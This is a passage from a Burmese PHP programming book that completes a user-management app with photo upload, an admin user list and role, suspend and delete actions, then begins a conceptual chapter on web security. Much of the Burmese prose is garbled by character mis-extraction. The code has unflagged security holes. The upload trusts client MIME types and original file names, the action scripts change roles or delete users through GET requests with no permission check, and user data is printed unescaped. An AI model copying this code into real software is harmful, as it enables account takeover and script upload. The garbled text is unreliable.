deကာင့် doာ်gပတဲ့အချက်အလက်က အမှန်goစ်သွားပါပြပီ။ ရလဒ်dတွ ရိုက်ထုတ်ရတာ တိုသွားdအာင် PHP
ရဲ့  Output Tag  <?= ကိုသံုးထားပါတယ်။ dအာက်နားdလးမှာ  admin.php ကို သွားလ့ုိရတဲ့  Manage
Users ဆိုတဲ့ Link တစ်ခုပါသွားတာကိုလည်း သတိgပုပါ။

Profile Photo
ကျန်dနတာတစ်ခုက Profile Photo ကိစ္စပါ။ နZို dရးထားတာက Profile Photo ကို တစ်ပံုထဲ အdသdပး
ပြပီး dရးထားတာပါ။ အခုသက်ဆိုင်ရာ  User  တစ်ဦးချင်းစီက ကိုယ့်  Profile Photo  ကိုယ့်zာသာ တင်လ့ုိ
ရdအာင် လုပ်dပးချင်ပါတယ်။ ဒါdeကာင့် UsersTable.php မှာ ဒီ Method တစ်ခုကို goည့်dပးပါ။

… 

public function updatePhoto($id, $name)
{
    $statement = $this->db->prepare("
        UPDATE users SET photo=:name WHERE id = :id"
    );
    $statement->execute([ ':name' => $name, ':id' => $id ]);
    return $statement->rowCount();
}

… 

UPDATE SQL Statement နဲ့ dပးလာတဲ့ ပံုအမည်ကို users Tables ထဲမှာ သိမ်းdပးလုိက်တာပါ။ ဒီကုဒ်
dရးပြပီးပြပီဆိုရင် _actions/upload.php ကို အခုလုိgပင်dပးပါ။
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 PHP 
<?php
include("../vendor/autoload.php");
use Libs\Database\MySQL;
use Libs\Database\UsersTable;
use Helpers\HTTP;
use Helpers\Auth;
$auth = Auth::check();
$table = new UsersTable(new MySQL());
$name = $_FILES['photo']['name'];
$error = $_FILES['photo']['error'];
$tmp = $_FILES['photo']['tmp_name'];
$type = $_FILES['photo']['type'];

if($error) {
    HTTP::redirect("/profile.php", "error=file");
}

if($type === "image/jpeg" or $type === "image/png") {
    $table->updatePhoto($auth->id, $name);
    move_uploaded_file($tmp, "photos/$name");
    $auth->photo = $name;

    HTTP::redirect("/profile.php");
} else {
    HTTP::redirect("/profile.php", "error=type");
}

ဒီတစ်ခါ oုိင်  Upload  လုပ်တဲ့အခါ အမည်ကိုအdသ မdပးdတာ့zဲ မူလအမည်အတိုင်း သိမ်းလုိက်တာပါ။
ပြပီးတဲ့အခါ dစာdစာကdရးလုိက်တဲ့ updatePhoto() Method နဲ့ users Table ထဲမှာ တွဲသိမ်းလုိက်
လ့ုိ အဆင်dgပသွားပါပြပီ။ အခုgပင်လိုက်တဲ့အချက်အလက်အတိုင်း  User Account  ကို  Update  goစ်dစချင်
ရင် Login dနာက်တစ်ခါ gပန်ဝင်ရမှာပါ။ အချက်အလက်dgပာင်းသွားပြပီမ့ုိလ့ုိပါ။ အ့ဲဒီလုိ ဝင်စရာမလုိdအာင်
$auth->photo ထဲမှာ ပံုအမည်  $name ကို  တုိက်ရိုက်ထည့်dပးလုိက်တာ သတိgပုပါ။ ဒီကုဒ်က zာ
အတွက်လဲ  dခါင်းစားdနမှာ  စိုးလ့ုိပါ။  Login  dနာက်တစ်ကြကိမ်gပန်မဝင်ရdအာင်  dgပာင်းသွားတဲ့
အချက်အလက်ကို ထည့်dပးလိုက်တာပါ။
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စမ်းeကည့်လ့ုိရပါတယ်။ Profile ပံုတင်လုိက်တဲ့အခါ ကိုယ့်ပုံနဲ့ကိုယ် သီးသန့်goစ်သွားပါပြပီ။ အရင်လို တစ်ပုံ
ထဲ အdသမဟုတ်dတာ့ပါzူး။

User Management
dနာက်ဆုံးကျန်dနတဲ့ လုပ်dဆာင်ချက်ကdတာ့ User Management goစ်ပါတယ်။ ရှိသမျှ User အားလံုးကို
gပdပးတဲ့ ကုဒ်ကို  admin.php မှာ dရးပါမယ်။ ကုဒ်dတွများပါလိမ့်မယ်။  HTML dတွများလို့သာ များdန
တာပါ။ ဒီdလာက်ကြကီးရှုပ်dထွးတဲ့ကုဒ်dတာ့ မဟုတ်ပါzူး။ ဒီလုိdရးရမှာပါ –

 PHP 
<?php
include("vendor/autoload.php");
use Libs\Database\MySQL;
use Libs\Database\UsersTable;
use Helpers\Auth;
$table = new UsersTable(new MySQL());
$all = $table->getAll();
$auth = Auth::check();
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" 

content="width=device-width, initial-scale=1.0">
    <title>Manage Users</title>

    <link rel="stylesheet" href="css/bootstrap.min.css">
</head>
<body>
    <div class="container">
        <div style="float: right">
            <a href="profile.php">Profile</a> |
            <a href="_actions/logout.php" 

class="text-danger">Logout</a>
        </div>

        <h1 class="mt-5 mb-5">
            Manage Users
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            <span class="badge bg-danger text-white">
                <?= count($all) ?>
            </span>
        </h1>

        <table class="table table-striped table-bordered">
            <tr>
                <th>ID</th>
                <th>Name</th>
                <th>Email</th>
                <th>Phone</th>
                <th>Role</th>
                <th>Actions</th>
            </tr>
            <?php foreach ($all as $user): ?>
                <tr>
                    <td><?= $user->id ?></td>
                    <td><?= $user->name ?></td>
                    <td><?= $user->email ?></td>
                    <td><?= $user->phone ?></td>
                    <td>
                        <?php if($user->value === '1'): ?>
                            <span class="badge bg-secondary">
                                <?= $user->role ?>
                            </span>
                        <?php elseif($user->value === '2'): ?>
                            <span class="badge bg-primary">
                                <?= $user->role ?>
                            </span>
                        <?php else: ?>
                            <span class="badge bg-success">
                                <?= $user->role ?>
                            </span>
                        <?php endif ?>
                    </td>
                    <td>
                        <?php if($auth->value > 1): ?>
                            <div class="btn-group dropdown">
                                <a href="#" class="btn btn-sm 

btn-outline-primary 
dropdown-toggle" 
data-bs-toggle="dropdown">

                                    Change Role
                                </a>

    <div class="dropdown-menu dropdown-menu-dark">
        <a href="_actions/role.php?id=<?= $user->id ?>&role=1" 
            class="dropdown-item">User</a>
        <a href="_actions/role.php?id=<?= $user->id ?>&role=2" 
            class="dropdown-item">Manager</a>
        <a href="_actions/role.php?id=<?= $user->id ?>&role=3" 
            class="dropdown-item">Admin</a>
    </div>
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    <?php if($user->suspended): ?>
        <a href="_actions/unsuspend.php?id=<?= $user->id ?>" 
            class="btn btn-sm btn-danger">Suspended</a>
    <?php else: ?>
        <a href="_actions/suspend.php?id=<?= $user->id ?>"
            class="btn btn-sm btn-outline-success">Active</a>
    <?php endif ?>
    <?php if($user->id !== $auth->id): ?>
        <a href="_actions/delete.php?id=<?= $user->id ?>" 
            class="btn btn-sm btn-outline-danger"
            onClick="return confirm('Are you sure?')">Delete</a>
    <?php endif ?>
</div>

<?php else: ?>
    ###
<?php endif ?>
                    </td>
                </tr>
            <?php endforeach ?>
        </table>
    </div>

    <script src="js/bootstrap.bundle.min.js"></script>
</body>
</html>

ဟိုးထိပ်ဆုံးမှာ getAll() Method နဲ့ ရှိသမျှ User အားလံုးကို ရယူထားပါတယ်။ Auth::check()
နဲ့လည်း Login စစ်ထားပါတယ်။ ပြပီးတဲ့အခါ ရထားတဲ့ User အားလံုးကို Loop လုပ်ပြပီး HTML Table တစ်
ခုနဲ့ တန်းစီပြပီးgပလုိက်တာပါပဲ။ လုိရင်းအဓိက လုပ်dဆာင်ချက်က ဒါပါပဲ။ oွင့်eကည့်လုိက်ရင် ရလဒ်က ဒီလို
goစ်ရမှာပါ။
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ထူးgခားချက်အdနနဲ့ သက်ဆိုင်ရာ User Record နဲ့အတူ Change Role, Active နဲ့ Delete ဆိုတဲ့ ခလုပ်သံုး
ခုကို  တဲွပြပီးdတာ့  gပထားပါတယ်။  အ့ဲဒီလုိgပတဲ့အခါ  Role  Value  က  1  ထက်ကြကီးမှသာ gပo့ုိ  စစ်ထားပါ
တယ်။ ဆိုလုိတာက ရိုးရိုး User ဆိရုင် အ့ဲဒီအလုပ်dတွကို လုပ်ခွင့်မdပးလုိzဲ Manager တို့  Admin တို့လုိ
Role dတရွှိတဲ့ User dတွကိုသာ လုပ်ခွင့်dပးချင်တာပါ။ အခုနမူနာပံုမှာ ဒီခလုပ်dတွ dတွ့gမင်dနရာတာက
Admin User အdနနဲ့ Login ဝင်ထားလ့ုိgoစ်ပါတယ်။

Change Role ခလုပ်မှာ Bootstrap ရဲ့ Dropdown နဲ့တွဲပြပီး User, Manager, Admin သံုးခုထဲက dgပာင်း
လုိတဲ့တစ်ခုကို dရးွdgပာင်းလ့ုိရတဲ့ Menu တစ်ခုdပးထားပါတယ်။ နှိပ်လုိက်ရင် _actions/role.php
ကို dရာက်သွားမှာပါ။ အ့ဲဒီလုိသွားတဲ့အခါ User ရဲ့ id နဲ့ dgပာင်းလုိတဲ့ Role ရဲ့ id ကို URL Query အdန
နဲ့ တွဲထည့်dပးထားပါတယ်။

Active ခလုပ်က လကရ်ှိ Active goစ်dနdeကာင်း gပချင်လို့ထည့်ထားတာပါ။ သူကိုနှိပ်လုိက်ရင် Suspended
goစ်သွားရမှာပါ။  ခလုပ်နှစ်ခုထဲက  အdgခအdနdပါ်မူတည်ပြပီး  တစ်ခုကိုgပခိုင်းထားပါတယ်။  နှိပ်လိုက်ရင်
အdgခအdနdပါ် မူတညပြပီး _actions/suspend.php သ့ုိမဟုတ် _actions/unsuspend.php
ကို dရာက်သွားမှာပါ။ 
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dနာက်ဆုံးက  Delete  ခလုပ်ကို  နှိပ်လုိက်ရင်dတာ့  _actions/delete.php ကို  dရာက်သွားမှာပါ။
လက်ရှိ  Login  ဝင်ထားတဲ့  User  က ကိုယ့်ကိုယ်ကိုယ် oျက်လ့ုိမရdအာင် စစ်ပြပီးdတာ့  Login  ဝင်ထားတဲ့
User  ရဲ့  Delete  ခလုပ်ကို  doျာက်ထားပါတယ်။  ဒါdeကာင့်  အdပါ်က  နမူနာပံုမှာ  User  တစ်dယာက်
အတွက် Delete ခလုပ် မပါတာပါ။

ဒီလုပ်dဆာင်ချက်dတွ  အမှန်တစ်ကယ် အလုပ်လုပ်oို့အတွက်  UsersTable.php မှာ  အခုလုိ  ထပ်မံ
goည့်စွက်dပးရမှာ goစ်ပါတယ်။

… 

public function suspend($id)
{
    $statement = $this->db->prepare("
        UPDATE users SET suspended=1 WHERE id = :id
    ");

    $statement->execute([ ':id' => $id ]);
    return $statement->rowCount();
}

public function unsuspend($id)
{
    $statement = $this->db->prepare("
        UPDATE users SET suspended=0 WHERE id = :id
    ");

    $statement->execute([ ':id' => $id ]);
    return $statement->rowCount();
}

public function changeRole($id, $role)
{
    $statement = $this->db->prepare("
        UPDATE users SET role_id = :role WHERE id = :id
    ");

    $statement->execute([ ':id' => $id, ':role' => $role ]);
    return $statement->rowCount();
}
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public function delete($id)
{
    $statement = $this->db->prepare("
        DELETE FROM users WHERE id = :id
    ");

    $statement->execute([ ':id' => $id ]);
    return $statement->rowCount();
}

… 

အားလံုးက တစ်ခုနဲ့တစ်ခု  ခပ်ဆင်ဆင်dလးdတွပါ။  suspend() နဲ့  unsuspend() တို့က  users
Table  ထဲက  suspended  တန်oုိးကို  0  သ့ုိမဟုတ်  1  dgပာင်းdပးပါတယ်။  changeRole() က
role_id ကို  dgပာင်းdပးပါတယ်။  delete() dတာ့  DELETE  FROM  Statement  နဲ့  Record  ကို
ပယ်oျက်လုိက်ပါတယ်။

ပြပီးတဲ့အခါ _actions/role.php မှာ အခုလုိ dရးdပးရပါမယ်။

 PHP 
<?php
include("../vendor/autoload.php");
use Libs\Database\MySQL;
use Libs\Database\UsersTable;
use Helpers\HTTP;
use Helpers\Auth;
$auth = Auth::check();
$table = new UsersTable(new MySQL());
$id = $_GET['id'];
$role = $_GET['role'];
$table->changeRole($id, $role);
HTTP::redirect("/admin.php");

ထူးgခားတဲ့ကုဒ်  မဟုတ်dတာ့ပါzူး။  သက်ဆိုင်ရာ  URL  Query  တန်oုိးdတွကို  $_GET ကdနရယူပြပီး
dစာdစာကdရးထားတဲ့  changeRole() ကိုdခါ်ယူအသံုးgပုdပးလုိက်တာပါ။  ဆက်လက်ပြပီးdတာ့
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_actions/suspend.php မှာအခုလုိdရးdပးပါ။

 PHP 
<?php
include("../vendor/autoload.php");
use Libs\Database\MySQL;
use Libs\Database\UsersTable;
use Helpers\HTTP;
use Helpers\Auth;
$auth = Auth::check();
$table = new UsersTable(new MySQL());
$id = $_GET['id'];
$table->suspend($id);
HTTP::redirect("/admin.php");

အတူတူပါပဲ  dစာdစာက  dရးလုိက်တဲ့  suspend() ကိုdခါ်သံုးdပးထားတာပါ။  ဆက်လက်ပြပီး
_actions/unsuspend.php မှာ ထပd်ရးdပးပါ။

 PHP 
<?php
include("../vendor/autoload.php");
use Libs\Database\MySQL;
use Libs\Database\UsersTable;
use Helpers\HTTP;
use Helpers\Auth;
$auth = Auth::check();
$table = new UsersTable(new MySQL());
$id = $_GET['id'];
$table->unsuspend($id);
HTTP::redirect("/admin.php");

တစ်ကယ်dတာ့ suspend.php နဲ့  unsuspend.php ကို နှစ်ခါခွဲပြပီး dရးစရာမလုိပါzူး။ oုိင်တစ်ခုထဲ
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မှာ  dရးလိုက်ရင်  ရနိုင်ပါတယ်။  dရးလက်စ  goစ်dနလို့သာ  gပန်မdပါင်း  dတာ့တာပါ။  dနာက်ဆုံးအdနနဲ့
_actions/delete.php မှာ အခုလုိdရးdပးလုိက်ပါ။

 PHP 
<?php
include("../vendor/autoload.php");
use Libs\Database\MySQL;
use Libs\Database\UsersTable;
use Helpers\HTTP;
use Helpers\Auth;
$auth = Auth::check();
$table = new UsersTable(new MySQL());
$id = $_GET['id'];
$table->delete($id);
HTTP::redirect("/admin.php");

သူလည်းပဲ dစာdစာကdရးdပးထားတဲ့ delete() Method ကို dခါ်သံုးလုိက်တာပါပဲ။

အခုဆိုရင်  ကျွန်dတာ်တို့oန်တီးလုိတဲ့  ပdရာZျက်dလး  အားလံုးgပည့်စုံသွားပါပြပီး။  User  Account  dတွ
dဆာက်eကည့်၊ Login ဝင်eကည့်၊ Profile dgပာင်းeကည့်ပြပီး စမ်းလ့ုိရပါပြပီ။ User Role အမျ ို းမျ ို းရှိတဲ့ ထဲက
ရိုးရိုး  User  ဆိရုင်  Manage Users  မှာ စာရင်းပဲ eကည့်လို့ရမှာ goစ်ပါတယ်။  Manager  သ့ုိမဟုတ်  Admin
User ဆိရုင်dတာ့ Role dတွdgပာင်းတာ၊ Suspend လုပ်ပြပီး အdကာင့်ကို zန်းတာ၊ oျက်တာdတွ လုပ်လ့ုိရ
သွားပါပြပီ။ Suspend လုပ်ထားတဲ့ အdကာင့်နဲ့ Login ဝင်တဲ့အခါ ဝင်လ့ုိမရdအာင်လည်း ကြကိုတင် dရးသား
ခဲ့ပြပီးgoစ်ပါယ်။ ဒါdeကာင့် User Account အမျ ို းမျ ို းနဲ့ Login ဝင်ပြပီးdတာ့ စမ်းeကည့်နိုင်ပါတယ်။

လုိအပ်တယ်ဆိုရင်  အခုdရးသားdoာ်gပခဲ့တဲ့  ပdရာZျက်ရဲ့  Source  Code  အgပည့်အစုံကို  ဒီdနရာမှာ
Download လုပ်ပြပီး ရယူနိုင်ပါတယ်။

– https://github.com/eimg/php-book

https://github.com/eimg/php-book
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Conclusion
တစ်ကယ်တမ်း ဒီထက်gပည့်စုံdအာင် ထပ်goည့်သင့်တာdလးdတွ ရှိdသးdပမယ့် အထက်မှာdgပာခဲ့သလုိပဲ
အချနိ်နဲ့dနရာကို င့ဲကွက်ရတဲ့အတွက် ဒီdလာက်နဲ့ပဲ dကျနပ်လုိက်eကပါ။ 

ကdန့အချနိ်မှာ  ပdရာZျက်dတွ  dရးသားတဲ့အခါ  Laravel,  Symfony  အစရှိတဲ့  Framework  dတွကို
အသံုးgပုပြပီး  dရးသားeကရတာ များပါလိမ့်မယ်။ ရိုးရိုး  PHP  နဲ့  အခုလုိမျ ို း  ကိုယ့်zာသာအစအဆုံး  dရးo့ုိ
လုိအပ်ချက် နည်းသွားပါပြပီ။  ဒါdပမယ့် ဒီအပုိင်းမှာdoာ်gပထားတဲ့ စာdတွ့လက်dတွ့ သdzာသzာဝdတွ
က  ကိုယ်တိုင်  ရိုးရိုး  PHP  နဲ့dရးရo့ုိ  ရိှလာတဲ့အခါမှာ  dရးနိုင်dစoုိ့  အdထာက်အကူ  goစ်မှာgoစ်သလုိ
Framework dတွ dလ့လာအသံုးgပုတဲ့ dနရာမှာလည်း အများကြကီး အdထာက်အကူ goစ်dစမှာပါ။ 

သိသင့်တဲ့  အdgခခံdတွ  မgပည့်စုံzဲ    Framework    dတွ  တိုက်ရိုက်အသံုးgပုo့ုိ  ကြကိုးစားတဲ့အခါ  လွယ်လွယ်  
dလးနဲ့ ပြပီးရမှာကို မခက်သင့်zဲ အရမ်းခက်dနတာdတွ၊    Framework    ကြကီး သံုးထားရက်နဲ့ dရးတဲ့ကုဒ်က  
စနစ်မကျ  goစ်dနတာdတွ  ကြကုံရပါလိမ့်မယ်။  လုိအပ်တဲ့အdgခခံdတွ  deကညက်ပြပီးသူ  အတွက်dတာ့  ဒီ
Framework dတွက dပးတဲ့ လုပ်dဆာင်ချက်dတွကို ထိထိdရာကd်ရာက် အသုံးချနိုင်မှာgoစ်လ့ုိ စနစ်ကျပြပီး
အလုပ်တွင်တဲ့ ရလဒ်dကာင်းdတွကို ရရိှမှာပဲ goစ်ပါတယ်။
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အခန်း (၄၀) – Web Application Security

Web Development အပါအဝင် dဆာ့o်ဝဲdရးသားမှု ပညာdတွကို dလ့လာeကတဲ့အခါ တစ်ချ ို ့က dပျာ်စရာ
dကာင်းတယ်လ့ုိ  ထင်နိုင်ပါတယ်။  တစ်ချ ို ့ကdတာ့  သိပ်စိတ်ညစ်o့ုိ  dကာင်းတာပဲလ့ုိ  ယူဆနိုင်ပါတယ်။
တစ်ကယ်dတာ့  Development  ဆိုတဲ့  dရးသားoန်တီးgခင်းဟာ  အလွယ်ဆုံးအဆင့်ပဲ  ရိှပါdသးတယ်။
deကညက်သင့်တဲ့  အdgခခံdတွ  deကညက်ပြပီး  အdတွ့အကြကုံ  အထုိက်အdလျှာက်  ရှိလာတဲ့အခါ  ဒါကို
သdzာdပါက်သွားပါလိမ့်မယ်။ တစ်ကယ်တမ်း အdတွ့အကြကုံ ရင့်ကျက်လှပါတယ်ဆိုတဲ့ ဝါရင့် ပရိုZရမ်မာ
ကြကီးdတွအတွက်dတာင် ခက်ခဲdနဦးမယ် အdeကာင်းအရာdတွ ကျန်ပါdသးတယ်။ အ့ဲဒါdတွကdတာ့ – 

၁။ Performance
၂။ Security
၃။ Maintenance နဲ့
၄။ Scalability တို့ပဲ goစ်ပါတယ်။

အသံုးgပုလို့ရdအာင်  oန်တီးရတာ  လွယ်ပါတယ်။  Performance  dကာင်းပြပီး  gမန်တဲ့  dဆာ့o်ဝဲတစ်ခုgoစ်
dအာင် oန်တီးရတာdတာ့ ခက်ပါတယ်။ Security dကာင်းပြပီး လံုခြခုံတဲ့ dဆာ့o်ဝဲတစ်ခုgoစ်dအာင် oန်တီးရ
တာ ခက်ပါတယ်။ Maintenance dကာင်းပြပီး gပုgပင်ထိန်းသိမ်းရလွယ်ကူတဲ့ dဆာ့o်ဝဲgoစ်dအာင် oန်တီးရ
တာ ခက်ပါတယ်။ Scalability dကာင်းပြပီး လူdပါင်းများစွာက dကာင်းမွန်စွာ အသံုးgပုနိုင်တဲ့ dဆာ့o်ဝဲgoစ်
dအာင် oန်တီးရတာ ခက်ပါတယ်။
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ဒါdတွက စာdတွ့သက်သက်နဲ့  တတ်ကျွမ်းမယ့် အရာdတွ မဟုတd်တာ့ပါzူး။ လုပ်ငန်းခွင်မှာ လက်dတွ့
ပdရာZျက်dတွ  လုပ်eကရင်းနဲ့  အdတွ့အကြကုံကdန ဆက်လက်သင်ယူသွားမှသာ ရနိုင်မယ့် ကိစ္စdတွ goစ်
သွားပါပြပီ။ ဒီလုိပဲ သင်ယူရင်း ခရီးဆက်eကရမှာပါ။ 

စာoတ်သူအများစုဟာ dလ့လာဆဲအဆင့်လို့ ယူဆတဲ့အတွက် အဆင့်dကျာ် အကျယ်မချဲ့goစ် dပမယ့်၊ dရှ့
လမ်းခရီးကို  ဆက်eကရာမှာ dgoာင့်goူးdချာdမွ့dစo့ုိအတွက်၊  လျှင်gမန်dပါက်dရာက်dစo့ုိအတွက်၊  dပးလ့ုိ
ရသမျှ  အdgခခံdကာင်းနဲ့  လမ်းညွှန်ချက်dတွကိုdတာ့  ဒီစာအုပ်မှာ  ထည့်သွင်းdပးခဲ့ပါတယ်။  စွမ်းdဆာင်
ရည်dကာင်းတဲ့ကုဒ်dတွ  dရးနိုင်o့ုိအတွက်  သိသင့်တဲ့အdgခခံ  ဗဟုသုတdတွ၊  gပုgပင်ထိမ်းသိမ်းရလွယ်တဲ့
ကုဒ်dတွ dရးနိုင်oို့အတွက် သိသင့်တဲ့အdgခခံ ဗဟုသုတdတွ၊ တုိးချဲ့gမှင့်တင်ရ လွယ်ကူတဲ့ကုဒ်dတွ dရးနိုင်
o့ုိအတွက်  သိသင့်တဲ့  အdgခခံဗဟုသုတdတွ  သ့ူdနရာနဲ့သူ  အလျှင်းသင့်ရင်  သင့်သလုိ ထည့်dပးထားခဲ့ပါ
တယ်။ dသချာထည့် မdgပာgoစ်ခဲ့တာကdတာ့ လံုခြခုdံရးနဲ့ ပက်သက်တဲ့အပုိင်းပဲ goစ်ပါတယ်။ ဒါdeကာင့် ဒီ
အခန်းမှာ သိသင့်တဲ့ လံုခြခုံdရးဗဟုသုတ အချ ို ့ကို ထည့်သွင်းdoာ်gပdပးမှာပါ။

လံုခြခုံdရးနဲ့ပက်သက်ရင် ပထမဆုံး မှတ်သားသင့်တဲ့ အချက်ကdတာ့ ၁၀၀  %   လံုခြခုံတဲ့ စနစ်ဆိုတာ   မရှိနိုင်
zူးဆိုတဲ့  အချက်ပဲgoစ်ပါတယ်။ နည်းနည်းလံုခြခုံတာနဲ့၊  များများလံုခြခုံတာပဲ ကွာသွားပါမယ်။ အgပည့်အဝ
လံုခြခုံတယ်ဆိုတာdတာ့  မရှိနိုင်ပါတယ်။  လံုခြခုံdရးဆိုတာ  Risk  Management  လုပ်ငန်းလ့ုိ  dgပာeကပါ
တယ်။  zယ်dလာက်ထိ  လံုခြခုံdအာင်  လုပ်မှာလဲဆိုတာကို  လုိအပ်ချက်dပါ်  မူတည်ပြပီး  တွက်ချက်ရတဲ့
အလုပ်ပါ။ ဒါကိုgမင်သာdအာင် လူdနအိမ်တစ်လံုးနဲ့ ဥပမာdပးလ့ုိရပါတယ်။

တံခါးမရှိတဲ့အိမ်တစ်လံုးဟာ လံုခြခုံမှုလံုးဝမရှိတဲ့အိမ်လ့ုိ ဆိုနိုင်ပါတယ်။ ဒါdeကာင့် လံုခြခုံမှုရှိသွားdအာင် အ့ဲဒီ
အိမ်ကို  တံခါးတပ်ပြပီး  dသာ့ခတ်လုိက်မယ်ဆိုရင်  လံုခြခုံသွားပါတယ်။  လံုခြခုံသွားပြပီဆိုdတာ့  အgပည့်အဝ
လံုခြခုံသွားတာလား။  မဟုတ်dသးပါzူး။  dသာ့ကိုoျက်ပြပီး  ဝင်မယ်ဆိုရင်  ဝင်လ့ုိ  ရနိုင်ပါdသးတယ်။
dနာက်doးdပါက်က လှည့်ဝင်မယ်ဆိုရင် ရနိုင်ပါdသးတယ်။ gပူတင်းdပါက်ကိုခွဲဝင်မယ်ဆိုရင် ရနိုင်ပါdသး
တယ်။ ဒါdeကာင့် ဒီထက်ပုိလုံခြခုံသွားdအာင် အုတတ်ံတိုင်းခတ်လုိက်လ့ုိ ရပါတယ်။ ဒီလုိ အုတ်တံတိုင်း ခတ်
လုိက်တဲ့အတွက် အရင်ထက်ပုိပြပီး လံုခြခုံသွားပါပြပီ။ လံုခြခုံdရးတစ်ဆင့် gမင့်သွားပါပြပီ။ ဒါဆိုရင် အgပည့်အဝ
လံုခြခုံပြပီလား  ဆိုရင်dတာ့  မဟုတ်dသးပါzူး။  dကျာ်တက်မယ်ဆိုရင်  တက်လ့ုိရနိုင်ပါတယ်။  ဒါdeကာင့်
သံဆူးကြကိုး ထပ်တင်မယ်ဆိုရင် dနာက်တပ်လံုခြခုံdရးတစ်ဆင့် gမင့်သွားgပန်ပါပြပီ။ စီစီတီဗီွdတွ တပ်ပြပီးdတာ့
လံုခြခုံdရး  gမှင့်လ့ုိရနိုင်ပါdသးတယ်။  လူdစာင့်ထားပြပီးdတာ့  gမှင့်လ့ုိ  ရနိုင်ပါdသးတယ်။  ဒီထက်မက
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အဆုံးစွန်ထိ လုပ်ချင်တယ်ဆိုရင်dတာ့ စပုိင်ရုပ်ရှင်dတွထဲကလုိ Motion Sensor dတွ၊ Alarm dတွ၊ ဗ့ုိအား
gမင့် လျှပ်စစ်အားလွှတ် ခြခံစည်းရိုးdတွထိ လုပ်ရပါdတာ့မယ်။ ဒါdတွအားလံုးလုပ်ပြပီးရင်dတာ့  အgပည့်အဝ
လံုခြခုံသွားပြပီလား။  မဟုတ်dသးပါzူး။  dတာd်တာ်ကြကီးdတာ့  လံုခြခုံသွားပါပြပီ။  ထုိးdoာက်ဝင်dရာက်o့ုိ
အရမ်းခက်သွားပါပြပီ။ ဒါdပမယ့် ၁၀၀% လံုးဝ လံုခြခုံသွားပြပီလို့dတာ့ dgပာလ့ုိရနိုင်မှာ မဟုတ်ပါzူး။

ဒီသdzာသzာဝdeကာင့် လံုခြခုံdရးကို  Risk Management  လ့ုိdgပာeကတာပါ။ zယ်dလာက် အdရးကြကီး
တဲ့ကိစ္စလဲ။ zတ်Zျက်zယ်dလာက်ထိ တတ်နိုင်လဲ။ စသည်goင့်  အdရးကြကီးမှုနဲ့  dပးနိုင်တဲ့zတ်Zျက်dပါ်
မှာ အdကာင်းဆုံးရလဒ်တစ်ခုရdအာင် တွက်ချက်dဆာင်ရွက်ရတဲ့ လုပ်ငန်း အမျ ို းအစားပါ။

ပြပီးdတာ့ လံုခြခုံdရးနဲ့  အသံုးgပုရ အဆင်dgပလွယ်ကူမှုဟာ dgပာင်းgပန်အချ ို းကျ dနgပန်ပါတယ်။ dစာdစာ
က dgပာခဲ့တဲ့ အိမ်နမူနာမှာပဲ gပန်eကည့်ပါ။ တံခါးမရှိ dသာ့မရှိဆိုdတာ့ ဝင်ရထွက်ရတာ အရမ်းလွယ်တယ်
dလ။ တံခါးတပ်ပြပီး  dသာခတ်ထားdတာ့  ဝင်ခါနီး  ထွက်ခါနီးရင်  dသာခတ်၊  dသာ့oွင့်  dနရပါdသးတယ်။
လံုခြခုံdရးအဆင့်  gမှင့်လုိက်တိုင်းမှာ  အဆင်dgပလွယ်ကူမှုကို  dလျာ့ကျသွားdစနိုင်ပါတယ်။  လူလာတာနဲ့
အိမ်ရှင်မှန်းသိပြပီး  တံခါးက အလုိအdလျှာက်  oွင့်dပးရင်dတာ့  အဆင်dgပလွယ်ကူမှုကို  မထိခိုက်dတာ့zူး
dပါ့။  ဒါdပမယ့် အ့ဲဒီလုိစနစ်မျ ို း  ရo့ုိ  ကုန်ကျစရတိ်dတာ့  ရှိသွားပါပြပီ။  ဒါdeကာင့်  Security,  Usability  နဲ့
Cost  ကုန်ကျစရိတ် တို့ဟာ သံုးပွင့်ဆိုင် အားပြပိုင်eကရတယ်လို့လည်း ဆိုနိုင်ပါတယ်။ (၃) ခုထဲက နှစ်ခုကို
dရးွရပါလိမ့်မယ်။ (၃) ခုလံုးdတာ့ မရနိုင်ပါzူး။

dနာက်တစ်ခါ၊ လံုခြခုံdရးမှာ အလွှာလုိက် အဆင့်dတွလည်း ရှိပါdသးတယ်။ Web Application တစ်ခုမှာဆို
ရင်  Application Security,  Software Security,  Network Security,  Hardware Security,  Physical
Security  စသည်goင့်  အဆင့်ဆင့် ရိှနိုင်ပါတယ်။  Application Security  ဆိုတာ dရးသားထားတဲ့  ကုဒ်နဲ့
အသံုးgပုထားတဲ့  နည်းပညာdတရွဲ့  လံုခြခုံစိတ်ချရမှု  goစ်ပါတယ်။  Software  Security  ဆိုတာ  ဒီ
Application ကို  Run o့ုိ အသံုးgပုထားတဲ့  Web Server, Programming Language, Server Operating
System  စတဲ့  dဆာ့o်ဝဲdတွရဲ့  လံုခြခုံမှုပါ။  Network  Security  ကdတာ့  Application  Server  ရိှdနတဲ့
Network ကွန်ယက်ရဲ့ လံုခြခုံမှုပါ။  Hardware Security ကdတာ့ Server ကွန်ပျူတာအပါအဝင် တပ်ဆင်
အသံုးgပုထားတဲ့  စက်ပစ္စည်းdတရွဲ့  လံုခြခုံမှုပါ။  Physical  Security  ကdတာ့  တပ်ဆင်ထားတဲ့  Server
တည်ရှရိာ  Data Center  သ့ုိမဟုတ်  Server Room ရဲ့ လံုခြခုံမှုပါ။ ဒီအဆင့်dတွထဲက တစ်ခုမှာ လံုခြခုံdရး
အားနည်းချက်ရှိတာနဲ့  စနစတ်စ်ခုလံုးကို  ထိခိုက်သွားdစမှာ  goစ်ပါတယ်။  ဒါdတွအားလံုး  လံုခြခုံသင့်
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သdလာက်  လံုခြခုံပါတယ်  ဆိရုင်dတာင်  Human  Error  က ရှိနိုင်ပါdသးတယ်။  စရိတ်dတွ  အကုန်ခံပြပီး
လံုခြခုံdအာင် လုပ်ထားရdပမယ့်၊  တစ်ကယ်တမ်းgoစ်ချင်dတာ့  Admin User  ဆီက  Password  ရသွားလို့
အကုန်ပါသွားတယ်ဆိုတာမျ ို းက ခဏနေခဏနေeကားdနရတာပါ။ ဒီလုိ လူdeကာင့် goစ်တဲ့ လံုခြခုံdရးgပဿနာက
dစာdစာကdgပာတဲ့ လံုခြခုံdရးအလွှာdတွမှာ goစ်တဲ့ gပဿနာထက်dတာင် ပုိများနိုင်ပါdသးတယ်။

ဒီလုိမျ ို းကိစ္စdတွdeကာင့်ပဲ ခက်ခဲကျယ်gပန့်တဲ့ သီးgခားzာသာရပ်တစ်ခုလို့dgပာတာပါ။ စာdရးသူကိုယ်တိုင်
